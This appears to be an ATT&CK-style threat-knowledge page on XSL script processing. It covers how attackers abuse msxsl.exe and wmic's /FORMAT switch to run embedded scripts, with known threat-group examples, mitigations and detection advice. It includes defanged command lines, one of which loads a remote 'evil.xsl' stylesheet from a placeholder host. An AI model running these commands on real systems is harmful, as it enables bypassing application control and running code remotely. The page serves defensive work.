XSL Script Processing
Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
* msxsl.exe customers[.]xml script[.]xsl
* msxsl.exe script[.]xsl script[.]xsl
* msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
* Local File: wmic process list /FORMAT:evil[.]xsl
* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”
Procedure Examples |
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| Name | Description |
|---|---|
| Astaroth |
Astaroth executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain. (Citation: Cybereason Astaroth Feb 2019) |
| Cobalt Group |
Cobalt Group used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.(Citation: Talos Cobalt Group July 2018) |
| Lazarus Group |
Lazarus Group has used WMIC to execute a remote XSL script to establish persistence.(Citation: ESET Lazarus Jun 2020) |
| Higaisa |
Higaisa used an XSL file to run VBScript code.(Citation: PTSecurity Higaisa 2020) |
|
During Operation Dream Job, Lazarus Group used a remote XSL script to download a Base64-encoded DLL custom downloader.(Citation: ESET Lazarus Jun 2020) |
|
Mitigations |
|
| Mitigation | Description |
|---|---|
| Execution Prevention |
Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures: Application Control: - Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution. - Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath "C:\Policies\AppLocker.xml"`) Script Blocking: - Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources. - Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g., `Set-ExecutionPolicy AllSigned`) Executable Blocking: - Use Case: Prevent execution of binaries from suspicious locations, such as `%TEMP%` or `%APPDATA%` directories. - Implementation: Block execution of `.exe`, `.bat`, or `.ps1` files from user-writable directories. Dynamic Analysis Prevention: - Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time. - Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution. |
| XSL Script Processing Mitigation |
Windows Management Instrumentation and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries. |
Detection
Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
References
- Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.
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Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using
- Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019.
- netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018.
- Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.
- LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.
- Desimone, J. (2018, April 18). Status Update. Retrieved September 12, 2024.
- Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.
- Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.
- Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.
- PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021.
Связанные риски
Каталоги
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